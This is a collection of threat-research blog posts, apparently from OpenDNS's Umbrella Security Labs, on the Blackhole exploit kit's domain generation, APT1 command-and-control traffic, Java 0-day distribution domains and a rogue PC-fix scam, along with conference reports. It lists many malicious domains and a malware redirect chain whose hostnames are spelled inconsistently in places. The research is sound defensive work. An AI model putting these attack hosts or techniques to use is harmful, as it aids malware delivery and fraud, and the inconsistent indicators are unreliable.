[ Editor's note: Our new security research team is cranking out information faster than we can create a security blog.  So for now, we're sharing some of the cool stuff they are doing here. Here's one of their first pieces, dissecting the "Blackhole" exploit kit. ]

What is the “Blackhole” Exploit Kit?

• A very popular and customizable kit to exploit a range of client vulnerabilities via the Web.
• Hackers license the kit (or rent an already exploited site) to cyber criminals.
• Cyber criminals compromise Web pages and embed an invisible iFrame.
• Potential victims visit a compromised Web page and are redirected to the hosted exploit.
• If the victim has one of the targeted client vulnerabilities, their device is infected.
• OpenDNS’s enforcement is device-, application-, protocol- and port-agnostic so all our users with OpenDNS malware protection are protected.

Redirect to malware host site within invisible iframe.

What is a (DGA) Domain Generation Algorithm?

• Multiple, frequently generated domains are used to host the exploit kit to prevent the security community from easily blocking the site or the site’s DNS record.
• This technique has been used since 2004 for botnet controllers, but appears by many in the security community, to now be an emerging trend for malware sites.
• This new “Blackhole” variation generates one unique second-level domain every 12 hours.
• The machine’s timestamp seeds a fixed cryptographic algorithm.
• The algorithm produces 16-character domain labels with a .ru top-level domain.
• Domain names using this algorithm are registered in advance of dates about 2 months from now.
• OpenDNS blocks all such domains for users of our service.

Snapshot taken on July 6 shows domains generated in the past week and two future days.

What did OpenDNS discover?

• Domain name analysis can detect strings in domain labels that have entropy or a lack of order that is a strong indicator that an algorithm was used to create the domain versus a human.
• Very random domain name strings have a high lexical complexity.
• These are often software generated with potential malicious origin.
• Blackhole DGA domain complexity is graphed in red below.
• Human-readable domain strings have a low lexical complexity.
• These are often legitimate sites.
• The top 1 million accessed domains’ complexity is graphed in green below.

Lexical analysis on the domain names.

• These domain names were observed to have concentrated DNS queries with short life spans, and exhibited a temporal progression every 12 hours.
• We saw abnormally high levels of activity at the time of domain generation, which quickly faded to near zero within a day or two.
• The few DNS queries outside this time window may be due machines with an incorrect date set or security research activity.
• More than a half million connections were attempted to these malicious domains within one week (June 29-July 5, 2012).

Trending query counts for six consecutive generated domains.

• Sampled a range of domain names generated for May 5 – Sept 23 at two times (July 5 & July 9).
• The authoritative name servers used to resolve the A records for the generated domains have changed twice.
• On July 5, three domains (https443.org, https443.net, compress.to) were hosted from a free dynamic DNS provider (https443.net via www.changeip.com).
• On July 9, one domain (otlard.kz) was hosted from a ccTLD (country-code top-level domain).
• The previously used name servers are no longer resolving A records for generated domains corresponding to dates before July 3rd.
• The new name servers are not resolving A records for generated domains today or into the future.
• We propose that the findings indicate that the operation is being brought online gradually for technical reasons or to avoid detection.
• There has been significant press coverage regarding this new DGA technique over the last week, which may have prompted the hackers to change the name servers which is more lax in their registration requirements (e.g. Kazakhstan) and suspend active use.

Blackhole DGA DNS resolution changes from May 5 thru September 23.

• We also searched the public portion of the malware domain list (http://www.malwaredomainlist.com) using these ASNs and found that ASNs 16265 and 39743 were flagged multiple times for hosting malicious domains or IPs in the past.

Malware domain list search results.

OpenDNS found conclusive evidence that the domain names discovered were generated by software with malicious intent.

• All future domains using this DGA are included in our inbound malware protection for OpenDNS Enterprise Insights and Enterprise customers.
• To learn more about our Internet-wide security solutions, click here.

The post “Blackhole” Exploit Kit DGA Analysis appeared first on Umbrella Security Labs.

Big Data

There are hundreds of millions of domains registered on the Internet’s authoritative DNS name servers. And hundreds of thousands new or modified registrations occur every day. Some of these are legitimate, but many are for malicious purposes. The security community flags a tiny fraction of these existing, new and modified domain registrations as bad.

OpenDNS handles recursive DNS resolution for about 2% of the Internet’s users. Every day, we receive DNS queries for hundreds of millions of these same domains. Using a simple visual to plot frequency count, it’s quick to observe the “head” formed by users attempting to connect to the most popular domains (i.e., google.com, facebook.com).

And the “long tail” formed by very few users attempting to connect to the much bigger proportion of relatively unknown domains (i.e., asdasadf232ds.hosting.ru). Most of these queries are to the before mentioned registered domains, but some are to non-existent domains.

Collection & Characterization

Other security vendors have analyzed this long tail for threats. However, many have much smaller data sets to work with as their technology is limited to a few threat vectors such as email or Web traffic. Many lack real-time, cloud-based data collection systems. Almost all lack an Internet-wide routing network to help analyze the context of the data collected.

OpenDNS’s technology platform enables us to collect data on this long tail across every threat vector, in real-time, in the cloud using our Internet-wide Anycast routing network. However, it’s difficult for researchers to observe malicious linkages between seemingly unrelated objects using an Internet-sized data set. Visualizing big sets of data by different attributes enables patterns to be more easily characterized. However, more sophisticated techniques than frequency counts of DNS queries are required to identify domains as bad or suspicious.

One such sophisticated method is by tracking the ASN (Autonomous System Number) associated with every domain name our recursive DNS servers have resolved via the IP routing prefixes that we can associate using our Anycast network and the IP addresses listed in its DNS records. We can reverse the process to link domain names by their ASN.

Visualizing Threat Patterns

In our previous blog post, we observed the increasing use of algorithmically generated domain names (aka. “DGA”) used by malicious software to phone home to botnet controllers. There are a several [obvious] characteristics of the names themselves to set them apart from legitimate domains (e.g. character length, randomness).

OpenDNS security researchers have developed heuristics to detect such characteristics using lexical analysis and Shannon’s information theory entropy analysis coupled with big data manipulation. However, this alone can only identify a domain as suspicious. Therefore, our researchers built and/or customized several visualization engines that correlate additional domain attributes. These engines enable us to observe clusters sharing other similar characteristics. We’ll share three case examples below.

CASE #1

• Several hundred suspicious domain names were clustered together since they all mapped to the same IP address, which by itself is still nothing more than suspicious. The following screenshot shows a few of these.
• All the suspicious domains were created on the same date (01 Aug 2012).
• While “whois” information indicates they’re all registered by different people, after a closer look, the registrant’s email addresses share the pattern of facbani[digits]@hotmail.com. The following screenshot shows this across three different domain registrations.

• This IP address shares the same ASN as a large number of other malicious domain names registered in the past and present.

• Purposely faked domain registrants all occurring on the same date and connected with past and present malicious domains is enough to confidently flag these domains as malicious to protect OpenDNS customers.

CASE #2

• 47 suspicious domains were clustered together because they triggered our DGA heuristics via a very restrictive threshold setting.
• By observing DNS query trend analysis, there is a strikingly uniform time series pattern over a week’s long time window.

• All the domain names had non-existent DNS records; meaning they could not be resolved to an IP address.
• We’re able to flag these as “likely bad” since our hypothesis is that these are DGA domains, but not yet registered by the cybercriminal. We will soon be releasing a new category for OpenDNS customers to block such domains that we believe, but are not certain, are malicious.

CASE #3

• Several suspicious domains were clustered together due to being densely clustered by IP, thus ASN (6539, 15418), and name servers (e.g., skyhi.mobi, tnsdns.net).

• Visual inspection of a few of these domains were observed to be parked domains. They could possibly be URL forwarding services for profiteers, but not cybercriminals.
• These domains will remain flagged merely as suspicious.

Managing Security Risks

As the number of correlated domain attributes characterized as malicious or suspicious increase, the confidence our researchers and/or automated systems have to flag a domain name increases. This is a continuous proactive system, so as new data is collected and patterns are detected, the extra intelligence is used to update the domain flag accordingly.

Today, our security settings include “Malware”, “Botnets”, “Phishing” and “Suspicious Response”. The first three indicating that we’re very confident that the domains in these categories are indeed bad. However, soon we will provide customers one or two additional categories for domains that we believe are likely to be bad in one or more ways. Customers may block or allow these categories to manage their security risk for different networks, users or devices as needed.

The post Visualizing Threats in Big Data appeared first on Umbrella Security Labs.

Editor’s Note: Dhia Mahjoub joined OpenDNS in early 2012 as a security researcher.

It’s been a great journey since I joined OpenDNS to work on exciting, cutting-edge research projects involving DNS, networks, security and big data. Given my background in research on graph algorithms, I was on the lookout for conferences about graphs in the city. My curiosity was rewarded when I discovered that GraphConnect was taking place in San Francisco at the Hyatt Regency on November 5-6. I registered immediately and counted down the days until the event.

The study of graphs has been around for over a century as a branch of discrete mathematics. With the advent of computers about 60 years ago, it became an important part of computer science. In the past decade, companies like Google, Facebook and Twitter respectively popularized the concepts of link/knowledge graph, social graph and interest graph. However the technology of graph databases, which was the topic of the conference, is still a nascent phenomena. Relational databases have been the de-facto technology to store and manipulate data in businesses. That is, until the NOSQL movement took the world by storm. Graph databases are the newcomer in this line of non-relational data stores, as graphs are both a natural and powerful way to model a plethora of problems we face in business and research.

The conference was successful in covering topics both technical and social. I noticed the presence of both big names like Twitter, Intuit, and Fujitsu and emerging startups such as FiftyThree and Squidoo that are embarking on the graph databases movement. It was also an opportunity for me to meet new people and share the awesome work we do and technology we deliver here at OpenDNS. In fact, the organizers gave all attendees badges with RFID tags and we were given the fun homework of approaching and getting to know as many people as possible as the tags will record our new connections.

My first favorite talk was the keynote by Professor James Fowler about “The Power of the Social Graph”. One of the interesting revelations from Dr. Fowler’s research is that smoking, obesity, and happiness spread within social networks between friends that are tightly related, since friends influence each other through emotions and behaviors. He also pointed out that these influence relations are not necessarily symmetrical and they differ based on gender. The other interesting discovery Dr. Fowler discussed is that genes affect voting behavior. The second talk I liked was titled “Intuit Payment Graph: A network built on payment transactions of customers and vendors” by G. Pillai. In this talk, Intuit presented a prototype of their Payment Graph whose data model is represented using Neo4j. Nodes are businesses or individuals and the links represent the transaction volumes and frequencies. The size of the model is a few tens of millions of nodes and links, and a few hundred millions of properties. They plan to use this system to connect consumers with small businesses, to create small business micro-communities, and to offer their customers referrals and recommendations. The next talk that caught my interest was “FluxGraph: A Time-machine for your graphs“ by D. Suvee. The talk discussed how graph databases can be augmented with the temporal notion so that we can travel the graph through time. Suvee discussed the useful application in retrospective medical research and presented the application they developed at Janssen Pharmaceuticals.

Overall, this conference was very useful as it gave me ideas on potential applications in our security research work at OpenDNS such as recommendations and temporal graph databases. I look forward to putting these ideas into practice and sharing the results with you soon.

Let’s not forget to mention that the organization of the conference, as well as lunch and dinner, were excellent, and the conference after party was so much fun !

The post GraphConnect Conference appeared first on Umbrella Security Labs.

There has been a lot of news regarding Syria’s Internet shutdown that lasted for over 2 days before service has been restored on Saturday. One item that has not been covered in detail is traffic going *into* servers hosted within Syria and how they were affected.

While monitoring this case firsthand we saw that on Thurs. Nov 29th 10 a.m. UTC, there was a sudden rise in the number of failing DNS queries (servfail DNS response) to domains whose name servers are hosted in Syria. These failing queries kept rising, ultimately reaching a peak at 4 p.m. UTC on Fri. Nov 30th.

Everything seemed to go back to normal around 2 p.m. UTC on Sat. Dec 1st. DNS queries to Syrian domains seemed to no longer be failing.

Here are the Syrian domains with the most failing DNS queries during the blackout:

You can see a video on the virtualization of this traffic here: Syrian Traffic Visualization

The post Top 10 most failed domains during Syria’s Internet blackout appeared first on Umbrella Security Labs.

Security researchers disclosed a new Java vulnerability yesterday. Kaffeine’s report is known to be the first alarm. A number of the most popular Web exploit tools, including BlackHole Exploit Kit (BH) and Cool Exploit Kit (Cool EK) are known to be including the latest Java exploit.

Four domains distributing this exploit were first disclosed in Kaffeine’s report.

geurtdenhaupdad.bounceme[.]net

50ee59e132505.painfree123[.]com

streamwoman[.]com

wymxxnb.compress[.]to

(added today) lapy[.]pl

(added today) jtmtir[.]eu

The traffic to the above sites demonstrates a high spike for a single hour (06 am UTC time). We hypothesize that the hackers released and dumped the distribution links fast. They’ve quickly shifted to other undetected links to continue the infections. The traffic is in the volume of a few thousand requests, coming from ~2000 clients that are distributed in 70+ countries. These domains are registered with dynamic DNS services.

Noticing the distinct temporal request patterns of the involved domains, we mined our data (50+ billion daily DNS requests) to search for domains with similar patterns. We are surprised to see a few dozens of domains that are sharing the spike pattern. These domains share the same set of clients that were involved in the reported Java 0 day domains. Same as the reported domains, the domains we discovered are registered with dynamic DNS services. A few examples here. 

There is no confirmed direct linkage found between our domains and the Java 0 day exploit. To be on the safe side, we’ve blocked access to these domains for our customers. We’ll closely follow the incidence, and be the first responder in protecting our customers.

The post Java 0 Day Exploit (CVE-2013-0422) Distribution Domains appeared first on Umbrella Security Labs.

With good reason, the Mandiant report on Advanced Persistent Threat 1 (APT1) and reported operator Chinese PLA Unit 61398 (nicknamed Comment Crew) have been dominating recent news cycles. 

A recent New York Times article reported that,“While Comment Crew has drained terabytes of data from companies like Coca-Cola, increasingly its focus is on companies involved in the critical infrastructure of the United States — its electrical power grid, gas lines and waterworks. According to the security researchers, one target was a company with remote access to more than 60 percent of oil and gas pipelines in North America. The unit was also among those that attacked the computer security firm RSA, whose computer codes protect confidential corporate and government databases.”

Much has been disclosed about the recent attacks, but our team wanted to investigate the traces of APT1 available from our massive data sets in order to get a better idea of how close this threat is to our customers. We also wanted to generalize the observed behavior of these traces into good heuristics for future discoveries and to spot anomalies or potentially-hidden links that could shed light on APT1′s infection vectors. 

We uncovered some fascinating results through our research. Of the 2,046 APT1 command and control (C&C) domains we looked at, 98% are stealth operators, showing only 0-100 daily requests. However, a few domains receive tens of thousands of requests in a single day. The traffic volume is consistent across all hours, indicating script behavior.

[ traffic pattern shown in sgraph]

Among all the IP addresses contacting these APT1 C2 domains, we spotted only two Chinese IP addresses, which is especially interesting because the attack has been widely-claimed to be China state-sponsored. However, considering the strong Internet censorship in China, it isn’t unlikely that a particular organization or ethnic group could be hacked by their own government.  

Like Mandiant, our research also indicates that targets exist across multiple countries and industries.  Top targets include telecommunication carriers, petroleum companies and large-scale business infrastructure providers. 

[one victim IP is mapped to Korea Telecom]

 [a screen shot of the home page of a large European dedicated server hosting provider]

Although we know that spear phishing was the primary infection vector, it is not yet clear or disclosed how many of the other infections transpired. The C2 names were clearly carefully-composed to easily confuse people with trusted news or service sites, such as “nytimesnews.net”, “firefoxupdata.com”. As we mentioned earlier, we used the Umbrella Security Graph to apply co-occurring pattern discovery. Co-occurrence measures the frequency of each pair of domains being requested by the same person across the population of all clients in a small time window. (You can watch a video demo here on how this technique was also used to investigate the NBC.com injection.) Most importantly, co-occurance pattern discovery allows us to surface undiscovered connections between threats. 

The list of domains below have exclusively co-occurred with one of the APT1 C&C domains within a small, pre-set time window. Nine of them are known malicious sites, and include drive-by downloads, spam, Fake AV and phishing threats. Looking closely at these threats, we recognize ff-demo.blogdns.org, a domain associated with the FinFisher/FinSpy spying tool that is reported to be used by certain governments to spy on domestic activists (you can read more about it here). We also recognize omughaltef.sendsmtp.com, a domain tied to the UrlZone banking trojan.

kazinczy-gyor.hu
smotri.com
bio-vozrast.ru
bulletincash.asia
coi.easyglobalflirt.info
ff-demo.blogdns.org
ff-traditions.com
greatgolfaccessories.com
governingjerk.org
good.timepiece-locator.com
onzxpldnealjzddeofbmbq.ru
omughaltef.sendsmtp.com

As of the time of our reporting, most of the APT1 domains have been suspended or sink-holed. However, there are still more than a hundred Active IPs that a larger sample of APT1 domains resolve to (shown below).

The post An intimate look at APT1, China’s Cyber-Espionage Threat appeared first on Umbrella Security Labs.

Editor’s Note: This post is a collaboration between security researcher Dhia Mahjoub and OpenDNS IT Pro Owen Lystrup.

Crowds of security enthusiasts and vendors have descended upon San Francisco once again this week for the RSA conference, and the security community’s off-RSA event, BSidesSF. 

RSA and BSides both provide an opportunity to survey the security scene, but while one can run a marathon of booth demos, keynote speeches, and after-parties at RSA, BSidesSF is a great way to meet the key players and innovators in Internet security research, and have thoughtful conversations about the future of the industry.

This year’s BSides, not without controversy, had a fantastic breadth of knowledge in its presenters. As the research team sat through the first few speeches during BSides, it became clear how pointedly apparent the risks of the security landscape are today.

While the technologies behind backdoors and exploit code are becoming increasingly more sophisticated, so too are the graphic design, research, targeting, and convincing nature of attacks. Talks from Phishme.com, EnergySec, MalwareBytes, KindSight, Twitter, and Mandiant illustrated how cybercriminals are becoming much more design oriented, and are putting more effort into betraying the trusting nature of their targets.

The reigning trends from these events seemed to be as follows: spear phishing is here to stay; state-sponsored groups are getting more involved; the design and architecture of malware and botnets are becoming a sophisticated cottage industry; and security companies need to collaborate more to change the game and the fight against cybercriminals.  

1. The Converse All-Star of Malware

Spear phishing attacks remain a go-to choice for cybercriminals. About 91% of all attacks begin with a spear phishing attempt, according to a TechWorld report. As highlighted in multiple presentations at BSidesSF, the engineering, design, and hosting efforts of botnets and spear phishing operations rivals those of some Fortune 500 companies. A good example is the recently discovered Adobe PDF ransomware that redirects to a phony Adobe site designed as a spitting image of the real thing.

More often attackers are taking effort to design more convincing company letterhead and logos for phishing attacks. They are even using techniques akin to investigative journalism research to find personal info on their targets (SCADA Protection: Imminent Phishing Attacks and the US Cyber strategy). Aspects like design and hosting are increasingly being offered as services for purchase to those looking to run a botnet without the effort of engineering one.

2. Going Mobile

The security community has conceded that BYOD is here to stay. Any security policies put in place, if companies are smart about them, should include plans for protecting a mobile workforce. Kevin McNamee from Kindsight gave a provocative talk on Android botnets. In it, he mentioned the rising sophistication of spurious Android app stores that will deliver apps packaged with malware. Android device users can find themselves unknowingly installing a “trojanized” popular app that transforms the device into a bot (Build Your Own Android Botnet).  

3. Getting Help from a Huge Backer

The reality with malware and the levels of espionage we’ve seen, as in the case of APT1 (see our analysis in a previous blog post), is that there’s money to be made in this game. And in a talk from Christopher Lew at Mandiant, we heard about the reality of state-sponsored attacks, that can take years of preparation and execution, and leverage “massive” financial and technical resources to achieve their goals (Chinese Advanced Persistent Threats: Corporate Cyber Espionage Processes and Organizations). The persistence level seen in recent attacks make them difficult to trace and mitigate. But, according to Lew, the first step is figuring out what the attackers want and how they will go about getting it.

4. Betraying User Trust

Malvertisement attacks that exploit trust between ad networks and content publishers are ramping up and becoming trickier to catch because they get a free pass around domain/IP reputation systems. When an agency like RSA or Bit9 with a secure reputation gets compromised, systems programmed to trust these authorities are wide open to attackers to do things like distribute malware.
We see increasing instances of stolen certificates or fraudulently issued ones that are used to sign malware to evade detection or used by cybercriminals to conduct “man-in-the-middle” attacks directed at users of legitimate online services or to fake the authenticity of malicious sites in phishing attacks. In an effort to mitigate these last threats Twitter is now serving everything to everybody using HTTPS as it was pointed out in the “SSL++: Tales of Transport Layer Security at Twitter” talk. In this talk, the speaker also reviewed several mechanisms for web browsers that mitigate common browser attacks. Such mechanisms include protocol downgrades, HSTS, CSP, canonical links, and clickjacking defenses. He also described Twitter’s decision to release their “secureheaders” gem, which automatically enforces these mechanisms for safer browser content delivery.

5. Graphing the Security Landscape

The rapidly changing landscape means that we will all need to continue efforts toward collaborating and sharing to keep ahead of the criminals. And the Umbrella Security graph is our offering toward that effort. It is a tool others eventually will be able to use to build their own algorithms and domain research. Collaborators can use the security graph for their own investigation, and make use of the interface to tap into Umbrella’s data, scores, and correlation.

WiFi issues and possible malware infections aside , our presentation at BSidesSF and the demos we were able to give at the post-RSA event at the OpenDNS office gave people a chance to see what’s to come. The security graph will put the power of our Big Data into the hands of smart researchers in need of effective tools.

Looking Ahead

To say the least, our participation in RSA and BSidesSF reassured us that the launch of Umbrella and our recent work to produce cloud-delivered security tools and Big Data research methods are essential building blocks to equip the security community to fight tomorrow’s threats. Because today, the current strategies are not keeping pace with the criminals.

Building the security tools of tomorrow also means effectively harnessing the Big Data available today. The Umbrella Security graph presentation at BSidesSF wowed those in attendance, and for good reason. Dan Hubbard and Frank Denis illustrated what can happen when it’s possible to harness the power of Big Data and use it to gather predictive intelligence about malicious sites, botnets, and malware hosts.

As the week comes to an end and we reflect on everything we witnessed and learned from our peers, we remain emboldened that our approach is spot on.

The post The top five trends at BSides, the security community’s alternative to RSA appeared first on Umbrella Security Labs.

A few hundred researchers from academia and industry gathered on Monday, July 1 for the 2nd annual Graphlab Workshop at the Nikko hotel in downtown San Francisco. The event was a great success in acting as a venue to discuss challenges and opportunities the emerging large scale graph analytics community currently faces. The Umbrella Security Labs team was present at the event, and in this blog we share with you our take-aways.

GraphLab

The first talk was about a product we have been excited about for quite some time called GraphLab.

GraphLab is a new framework for running graph-parallel algorithms, mainly developed at the Carnegie Mellon University over the past six years.

While the MapReduce programming model has proven to be excellent for data-parallel tasks on massive amounts of data, it’s not very suitable for graph algorithms. These algorithms are not easily expressed in the MapReduce model, and require copying a lot of data between iterations. Efforts like Haloop partially solve the later but not the former.

The Bulk Synchronous Parallel programming model is clearly a better fit. In this model, individual components (e.g. vertices of a graph) perform computations, possibly update their own state and communicate with other components using message passing. An iteration is complete after all components are done.

In the world of graph databases, the bulk synchronous parallel model was popularized in 2010 after Google released the Pregel paper.

And it is surprisingly simple. A single-node implementation of Google Pregel fits in 100 lines of code.

Vertex-centric computations make it easy to “parallelize” any algorithm. And partitioning can also become as simple as randomly assigning vertices to hosts.

But the barrier required between two iterations can be a serious bottleneck. In addition, this model requires storing two versions of all values (the previous iteration and the new value).

GraphLab’s primary motives were to avoid the bottleneck and to achieve exceptional performance on distributed graph processing.

The GraphLab core is a high-level C++ library (with Python and Java APIs) providing the following:

- compact in-memory graph storage. Graphs can be automatically distributed across the cluster.

- a clean API to let each vertex perform computations and updates.

- a set of schedulers to distribute tasks across all available CPUs.

- utilities for loading and saving graphs (locally or through HDFS), random number generators with chosen distributions, and generic utilities for writing portable code.

GraphLab uses MPI for inter-process communications, and job configuration can be read from Zookeeper.

The first version of GraphLab made it easy to express algorithms, but didn’t ensure race-free operations. One had to choose, for each algorithm, between strong consistency (hence no race conditions, but a slower runtime) and weak consistency, ignoring conflicting writes that can be acceptable for some algorithms.

The second version of GraphLab introduced a different programming model.

A “gather” phase retrieves information from other vertices, an “apply” phase updates the current vertex, and a “scatter” phase sends message to other vertices to prepare the next iteration. These three decomposable update functors can run asynchronously, and updates can happen in batch in order to optimize inter-node communications. This accelerates convergence of many numerical algorithms.

Thanks to these changes, this second version of GraphLab, code named “PowerGraph”, can efficiently process natural graphs. The graph of DNS queries we are processing definitely fits in this category, with top domains like google.com being adjacent to over 78% edges.

Umbrella Security Labs tried GraphLab 2 a couple months ago on our research 10-node cluster, and were impressed by the results. Algorithms running at high speed allowed us to quickly build new models and check their output on a complete data set.

Furthermore, a solid set of algorithms have already been implemented on top of this incredibly fast engine. They address a wide range of problems, from the domains of graph mining, to machine learning and linear algebra.

During the workshop, the next generation of the GraphLab framework, code named WarpGraph, has been unveiled. For starters, GraphLab is now available on Github, so anybody can seamlessly contribute new code and documentation to the project.

PowerGraph focused on performance. However, the programming models were slightly more complex than the original one, requiring a lot of contortions to make some algorithms fit.

WarpGraph focuses on usability by providing a simple way to write vertex-centric programs. Programs can now be written as coroutines implementing mini map/reduce operations. Performance is comparable to–and, in some cases better than–GraphLab 2.

A live demo of GraphLab accessed through an iPython notebook for interactive data analysis brillantly concluded the first presentation of the day.

GraphChi

GraphLab keeps the full graph and all values in (distributed) memory, which is why performance improvements have been mainly achieved by increasing paralellism and reducing communications.

GraphChi, another project maintained by the same team as GraphLab, addresses a different problem: single-machine computations on large graphs that don’t fit in memory. The only option to do so is obviously to store and update the graph on disk.

GraphChi’s API is very similar to GraphLab’s, and most algorithms can already run on both, or can be adapted with minimum effort.

At first, on-disk operations sound like a terrible idea for running graph algorithms, as even a SSD is order of magnitudes slower than main memory, especially for random access.

But GraphChi introduces an technique that actually makes on-disk graph processing extremely fast.

A reasonable assumption is that the update function will only need to read/write values from/to neighbor vertices.

In GraphChi, the adjacency set is split across shards, each with approximatively the same total number of edges, and so that the largest shard can fully fit in memory (actually 1/4 of the available memory, in order to keep room for other runtime data).

Within each shard, in-edges and out-edges are stored separately as a {source vertex, {list of edges}} array, in order to keep the number of disk seeks to a minimum when updating a vertex.

This array is indexed, and sorted by the source vertex. That way, accessing the edges of vertices within an interval for a given shard only requires sequential disk access, and the window can be much smaller than the full shard.

After preprocessing the graph in order to build the shards, GraphChi loads a full shard in memory. The update operation will be applied to this specific subgraph before commiting changes made to this shard to disk and moving over to the next shard.

Some neighbors required for the update operations will already be part of the in-memory shard and can be directly updated. Others are in different shards. For each of these on-disk shards, the relevant window (remember, the array is sorted by source vertex) is loaded and possibly updated.

An iteration is complete once all shards have been sequentially loaded in memory.

The beauty of this technique is that most I/O operations are sequential, and that it efficiently uses the main memory to limit the amount of operations. Unlike GraphLab, there is no interprocess communication involved: updates are directly made in memory before being flushed in batch to disk.

The GraphChi implementation also allows online updates, storing new edges in a temporary in-memory buffer that can eventually be materialized into actual shards.

Not only large graphs can be processed on commodity hardware, but benchmarks are impressive. A laptop running GraphChi frequently achieves results comparable to a 8 nodes cluster, provided that the graph has already been converted to a set of shards.

Last, but not least, a Java implementation of GraphChi is available. While slower than the C++ version, it can be used as a Pig UDF.

Pig is already our long-time best friend. Don’t tell him, but there’s a high probably that our lab will also give labradors and chihuahuas a lot of love in the months to come.

Graph Processing at Facebook Scale

Another talk we liked is from Dr. Avery Ching, a contributor to Giraph, now working at Facebook. Guess what his talk is about.:)

We personally haven’t tried Giraph. As demoed in Dr. Avery’s talk, it works quite well with Facebook-scale data. It was certainly inspiring to get some of the ideas behind Giraph such as master computation, sharded aggregators etc. We here borrowed the illustration of the single-source shortest path algorithm in Giraph. To get started, check out Giraph’s website. 

Large-Scale Graph Clustering in MapReduce and Beyond

Dr. Vahab Mirrokni from Google research, New York presented a nice clustering scheme on large-scale graphs. Clustering is very useful and is often the first exploratory step in unveiling hidden grouping structure of a big clump, requiring little prior knowledge of the data segments. It is obviously commonly seen in social network analysis, customer segmentation studies.

In the security domain, papers [1,2] were published where network traffic patterns were studied with clustering techniques. So back to Dr. Mirrokni’s talk, the focus is again to solve the clustering problem efficiently when the old solutions are challenged by the scale of the data. This is the overhauling slide for his talk, and below are the security-related papers that you may put on your reading list.

1. “Behavioral Clustering of HTTP-Based Malware and Signature Generation Using Malicious Network Traces”, Roberto Perdisci, Wenke Lee, and Nick Feamster, USENIX NSDI 2010 

The post 2nd Graphlab Workshop 2013 appeared first on Umbrella Security Labs.

Today’s blog is a fun story of how Umbrella Security Lab researchers uncovered a massive rogue PC fix campaign, relying on both algorithmic big data crunching models, sandboxing and field investigations (including an anonymous phone call to the rogue PC fix service under a customer name of  Virgilio Calabrese).

The storyline

As Umbrella Security Lab often demos, patterns emerge when you possess the right data and weave them altogether. This can be done despite attackers’ efforts to randomize traffic, injecting noises to hide their traces with all kinds of creative tricks. Since last week, we start spotting a large number of domains that were picked up by one of our analytical models – CRANK. These domains all showed very similar low crank scores. The crank model relies on DNS requesting behavior, and a crank score derives from co-occurrence patterns among domains. The biggest pattern indicator is when two domains co-occur, meaning that a statistically significant number of clients have requested both domains consecutively within a small time frame. If a domain co-occurred with one or more known malicious domain in the examined time frame, it will receive a lower crank score than the ones that never co-occurred with known malicious domains. 

For this report, the examined set of domain names appeared to be DGA (domain generating algorithm) names. At the time of discovery (a week ago from this report), the Umbrella Security team found nothing about the legitimacy of these domains online. This indicated that something is definitely not right, and we therefore started to find out the domains’ true nature.

At first sight, the domains seem to be parked pages, but if we access them using specific user agents and without initial cookies, we are dragged into a redirection chain that leads to the attempted dropping of a variety of suspicious executables (in one visit it was a fake Chrome updater)

 After the first visit, this is what the parking page looks like:

Here is one of the redirections chain we observed:

- hxxp://sozvigupvuxs.com – The landing page, loading a frame on the same domain. This frame returns either a redirection to hxxp://OTNNetwork.net, or, if a specific cookie is found, the parking page.

- hxxp://OTTNetwork.net then serves some javascript redirecting to hxxp://98795.acrosslookup.com

- hxxp://98795.accesslookup.com is abused for click fraud, redirecting to hxxp://ck.ads.affinity.com

- hxxp://ck.ads.affinity.com redirects to the target of the fake click, hxxp://o800.info

- hxxp://0800.info shows a fake site with some basic javascript code performing browser detection in order to display a relevant “your browser is outdated” page, and then redirects to hxxp://secure.oi-installer9.com

- hxxp://secure.oi-installer9.com serves Windows executable file with different names (e.g. Internet_Explorer_Setup.exe) according to the client browser.

Right after having downloaded and installed the “updated Chrome version”, a popup asked us to “scan and fix  Windows XP errors”.

The number of DNS queries we are seeing for the domain name serving this file is fairly high. We blocked it in order to protect our customers.

Launching the product was the beginning of the end.

A fake antivirus (“PC Health Boost”) found 96 errors, and 37 more that required a paid version in order to be fixed. Other popups told us to download and install yet another fake antivirus (a fake version of F-Prot). And yet another one (“Malware Striker”, similar to the first one, just with a different skin). Then, a fake video player (“FLV Mplayer”) and so on an so forth.

Not to mention that Chrome had new extensions and toolbars, and a new default search engine.

Restarting the browser showed that it was spawning a background process on startup, presumably a keylogger or a banking trojan.

The phone call

After the installation of the executable, several pop-ups offering 24×7 PC help would appear on the screen. We called an 800 number that showed up on one of the pop-ups and pretended to be a not too savvy PC user named Virgilio Calabrese, who needed help because his laptop was slow and was showing a lot of annoying pop-ups.

We got a male voice on the other end of the line–let’s call him “Tom”–who claimed to be from Microsoft. During the conversation, Tom tried to have us check a few things to figure out the problem, but we told him, we really didn’t know what was going on, so Tom then asked us to go to support.me which then leads to https://secure.logmeinrescue.com/Customer/Code.aspx.

LogMeIn Rescue is in fact a legit product used by IT helpdesks and call centers to provide instant remote support to customers and employees. Tom then provided a code needed to enter the logmeinrescue session, which granted him remote access to our laptop.

We had a Windows XP VM running on our lab laptop, and after Tom gained access to the VM, we witnessed him running a few checks remotely on our laptop. We pretended to be worried and told Tom we were not comfortable with him manipulating our machine remotely. At this, he reassured us that he was from Microsoft, and that he was not the problem, but our PC saving grace. He insisted he was here trying to help and that we should trust him. At this point, we hung up.

Tom persistently called back. After a few more interactions, we decided to end the call for good and cut the connection.

A look into the traffic of these domains

Here are some of the domains we discovered:

sozvigupvuxs.com
mahakixiq.com
kugmoqwozdat.com
heivoveobi.com
goqwodilde.com
dugicqokila.com
xuhojihux.com
tugheawixe.com
sozvigupvuxs.com
ratvuxmozf.com
pozgafmanmoz.com
mahakixiq.com
kugmoqwozdat.com
joztupilma.com
jeopozmuj.com
huxbeinafdun.com
hokbozjeob.com
heivoveobi.com
goqwodilde.com
dugicqokila.com
dadosukoqhi.com
ceixafjeo.com
biltoqdaffih.com
bajupvoktos.com
xugjiweiru.com
julucicjija.com
goqcanwoqb.com
vealiciluxr.com
varaqipeavi.com
mozdilpanl.com
heivageamo.com
feiluheagear.com
fanxafdatrir.com
deacogeaw.com
datsicrucoso.com
cuvibokmu.com
xobocodon.com
kirneodoqu.com
jujigafhoka.com
jixeijeog.com
hoknafgoca.com

We also discovered a couple thousand more domains clustered to two IP netblocks. 

(The clustering graph shows some outliers that were also picked up by our algorithms but not mapped to the same IP netblocks. They are eliminated from the above analysis.)

Taking a sample of these domains, we found that they were all registered May 19 or May 26, 2013. Looking at the traffic to these domains, we found that it had been periodic for a couple weeks, then it dropped about five days ago, which suggests some sort of “spam campaign” that used those domains.

